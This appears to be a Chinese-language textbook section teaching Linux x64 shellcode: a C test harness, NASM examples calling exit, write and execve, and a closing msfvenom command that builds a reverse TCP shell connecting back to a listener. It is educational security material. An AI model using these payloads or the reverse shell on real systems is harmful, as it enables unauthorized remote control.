有了 shellcode,你就能在被利用的應用程式的執行環境裡執行任意命令。撰寫 shellcode 頗有難度,本節以 Linux x64 平台為例,示範一些基本技巧與挑戰,供你日後自行深入研究。
以下所有組語與命令都只應在你獲得授權、可控的測試環境中組譯與執行。
起步#
開始寫 shellcode 需要:Linux x64、一個 C 編譯器(GCC 或 CLANG 皆可)、以及 Netwide Assembler(NASM)。在 Debian/Ubuntu 上一行指令即可裝齊:
sudo apt-get install build-essential nasm我們用 x64 組語撰寫、以 nasm 組譯,產出只含所指定機器指令的二進位檔。測試時用一支 C 語言的測試框架(test harness)把 shellcode 當成函式來呼叫。
Listing 10-11:shellcode 測試框架(test_shellcode.c)
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
typedef int (*exec_code_t)(void);
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: test_shellcode shellcode.bin\n");
exit(1);
}
int fd = open(argv[1], O_RDONLY);
if (fd <= 0) { perror("open"); exit(1); }
struct stat st;
if (fstat(fd, &st) == -1) { perror("stat"); exit(1); }
exec_code_t shell = mmap(NULL, st.st_size,
PROT_EXEC | PROT_READ, MAP_PRIVATE, fd, 0);
if (shell == MAP_FAILED) { perror("mmap"); exit(1); }
printf("Mapped Address: %p\n", shell);
printf("Shell Result: %d\n", shell());
return 0;
}它從命令列取得路徑,用 mmap 把檔案映射進記憶體,並以 PROT_EXEC 旗標標記為可執行(否則平台層的緩解機制可能阻止 shellcode 執行)。編譯:cc -Wall -o test_shellcode test_shellcode.c。
最簡單的 shellcode 只把值 100 搬進 RAX 暫存器再 ret——RAX 是函式呼叫的返回值,因此測試框架會印出 Shell Result: 100。
Listing 10-12:最簡單的 shellcode 與組譯執行
; Assemble as 64 bit
BITS 64
mov rax, 100
retnasm -f bin -o shellcode.bin shellcode.asm
./test_shellcode shellcode.bin
# Mapped Address: 0x7fa51e860000
# Shell Result: 100可用隨附的 ndisasm -b 64 shellcode.bin 檢查組出來的指令。注意原始碼寫 RAX,反組譯卻是 EAX:因為常數 0x64 塞得進 32 位元,組譯器選用較短的指令;載入 EAX 時處理器會自動把 RAX 上 32 位元清零,行為不變。
簡單的除錯技巧#
在寫更複雜的 shellcode 之前,先學一個除錯法:用 int3 指令加一個中斷點,當該處被執行時,任何掛載的除錯器都會收到通知(處理器執行 int3 會讓 OS 送出 SIGTRAP 訊號給行程)。
Listing 10-13 / 10-14:int3 中斷點與 GDB 觀察
BITS 64
int3
mov rax, 100
ret在 GDB 中執行測試框架,會停在 SIGTRAP。有趣的是印出當前指令時看到的是 int3 之後的 mov,而非 int3 本身——除錯器已自動跳過 int3 以便繼續執行。
呼叫系統呼叫#
只回傳 100 對利用漏洞毫無用處;要讓系統替我們做事,最簡單的方式是系統呼叫(system call)——用 OS 定義的系統呼叫編號來呼叫開檔、執行新行程等基本功能。相較於呼叫系統函式庫,系統呼叫不需知道其他可執行程式碼(如 C 函式庫)的記憶體位置,寫起來較簡單、跨同一 OS 不同版本也較可攜。缺點是它們是更低階的功能、呼叫起來更繁瑣(Windows 尤其複雜)。
x64 Linux 的系統呼叫 ABI:
- 系統呼叫編號放進 RAX。
- 最多六個引數依序放進 RDI、RSI、RDX、R10、R8、R9。
- 用
syscall指令發出呼叫。 - 結果在
syscall返回後存於 RAX。
在 Linux 命令列上
man 2 syscall描述系統呼叫流程與各架構的 ABI,man 2 syscalls列出所有可用系統呼叫,man 2 <名稱>查個別呼叫。
exit 系統呼叫#
要用系統呼叫得先知道它的編號。與其在磁碟上翻找標頭檔,不如讓 C 編譯器代勞:編譯並執行一段印出 SYS_exit 的程式(作者機器上 exit 是 60,編號因核心版本而異但很少變)。exit 只取一個引數(行程結束碼)放進 RDI,且不會返回。
Listing 10-15 / 10-16:取得編號並呼叫 exit
#include <stdio.h>
#include <sys/syscall.h>
int main() {
printf("Syscall: %d\n", SYS_exit);
return 0;
}BITS 64
; The syscall number of exit
mov rax, 60
; The exit code argument
mov rdi, 42
syscall
; exit should never return, but just in case.
ret執行後第一則「Mapped Address」仍印出,但 shellcode 的返回值不再印出,表示 exit 成功呼叫。在 bash 用 echo $? 可驗證結束碼為 42。
write 系統呼叫與相對定址#
write(int fd, const void *buf, size_t count) 稍複雜:fd 為檔案描述子(1 代表主控台標準輸出)、buf 指向資料、count 為位元組數。但直接照寫會得到怪結果 -14——凡小於零的返回值都代表錯誤,14 對應 EFAULT(Bad address),表示系統呼叫存取了無效記憶體。
Listing 10-17 / 10-18:write 呼叫與錯誤碼查詢
BITS 64
%define SYS_write 1
%define STDOUT 1
_start:
mov rax, SYS_write
; The first argument (rdi) is the STDOUT file descriptor
mov rdi, STDOUT
; The second argument (rsi) is a pointer to a string
lea rsi, [_greeting]
; The third argument (rdx) is the length of the string to write
mov rdx, _greeting_end - _greeting
; Execute the write system call
syscall
ret
_greeting:
db "Hello User!", 10
_greeting_end:用 Python 查錯誤碼:
import os
err = 14
print os.errno.errorcode[err] # 'EFAULT'
print os.strerror(err) # 'Bad address'問題出在 lea 載入的是絕對位址 0x1A,但 shellcode 實際被載入的位置根本不在那附近。我們無法預知 shellcode 會被載到哪,所以必須改用相對於當前執行位置的定址。
- 32 位元 x86:利用
call使用相對位址、且會把下一條指令的絕對位址推入堆疊當返回位址的特性,pop出來再加偏移量算出字串位置。做法可行但讓程式碼複雜許多。 - 64 位元:引入了相對資料定址,在 nasm 中於位址前加
rel關鍵字即可,例如lea rsi, [rel _greeting],改一行就能正確印出訊息。
執行其他程式#
用 execve 系統呼叫執行另一個二進位檔,是取得執行控制而不需冗長 shellcode 的常見手法。execve 取三個參數:程式路徑、以 NULL 結尾的命令列引數陣列、以 NULL 結尾的環境變數陣列。它比 write 麻煩,因為需要在堆疊上建構這些陣列。
Listing 10-19:以 execve 執行 /bin/uname -a
BITS 64
%define SYS_execve 59
_start:
mov rax, SYS_execve
; Load the executable path
lea rdi, [rel _exec_path]
; Load the argument
lea rsi, [rel _argument]
; Build argument array on stack = { _exec_path, _argument, NULL }
push 0
push rsi
push rdi
mov rsi, rsp
; Build environment array on stack = { NULL }
push 0
mov rdx, rsp
syscall
; execve shouldn't return, but just in case
ret
_exec_path:
db "/bin/uname", 0
_argument:
db "-a", 0流程:載入兩個字串位址,把 { _exec_path, _argument, NULL } 以反向順序推入堆疊,複製堆疊位址到 RSI(第二引數);再推一個 NULL 當環境陣列、複製堆疊位址到 RDX(第三引數);RDI 已含路徑位址,最後 syscall。等效於:
char* args[] = { "/bin/uname", "-a", NULL };
char* envp[] = { NULL };
execve("/bin/uname", args, envp);用 Metasploit 產生 Shellcode#
親手寫 shellcode 能深化理解,但別人已寫過大量現成的。Metasploit 專案就是一個好用的 shellcode 倉庫,能把 shellcode 產成二進位 blob 直接插進你的 exploit,優點包括:
- 處理 shellcode 的編碼——移除禁用字元、調整格式以避開偵測。
- 支援多種取得執行的方式(簡單反向 shell、執行新二進位等)。
- 支援多平台(Linux、Windows、macOS)與多架構(x86、x64、ARM)。
隨 Metasploit 安裝的 msfvenom 命令列工具提供這些 payload。以下用最簡單的 reverse TCP shell 示範。
用 msfvenom 產生並執行 reverse TCP shell
列出 x64 Linux 的 payload:
msfvenom -l | grep linux/x64
# linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
# linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shellshell_bind_tcp:綁定一個 TCP port,連進去就開本地 shell。shell_reverse_tcp:反向連回你的機器並附上 shell。
產生 reverse TCP shell(連回 172.21.21.1:4444)。用 LHOST/LPORT 指定 IP 與 port,-f raw 輸出原始二進位 blob,並導向檔案:
msfvenom -p linux/x64/shell_reverse_tcp -f raw LHOST=172.21.21.1 \
LPORT=4444 > msf_shellcode.bin在攻擊端用 netcat 監聽 port 4444(nc -l 4444)。連線建立後可能看不到提示字元,但輸入 id 就會回顯結果:
$ nc -l 4444
id
uid=1000(user) gid=1000(user) groups=1000(user)同類 payload 也適用於 Windows、macOS 甚至 Solaris。